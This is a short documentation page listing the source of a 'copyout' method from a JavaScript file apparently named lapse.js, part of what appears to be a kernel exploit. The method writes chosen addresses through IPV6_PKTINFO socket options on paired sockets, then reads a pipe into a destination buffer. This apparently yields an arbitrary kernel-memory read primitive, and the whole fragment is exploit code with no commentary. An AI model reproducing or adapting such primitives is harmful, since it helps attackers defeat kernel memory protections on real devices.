Method copyout

g2all/700/lapse.js:1428–1448

(src, dst, len)

    }

    copyout(src, dst, len) {
      this._verify_len(len);
      const main = this.main_sd;
      const worker = this.worker_sd;
      const addr_buf = this.addr_buf;
      const data_buf = this.data_buf;

      addr_buf.write64(0, this.pipe_addr);
      ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

      data_buf.write32(0, 0x40000000);
      ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

      addr_buf.write64(0, this.pipe_addr2);
      ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

      addr_buf.write64(0, src);
      ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

      sysi("read", this.rpipe, dst, len);
    }

    _read(addr) {
      const buf = this.rw_buf;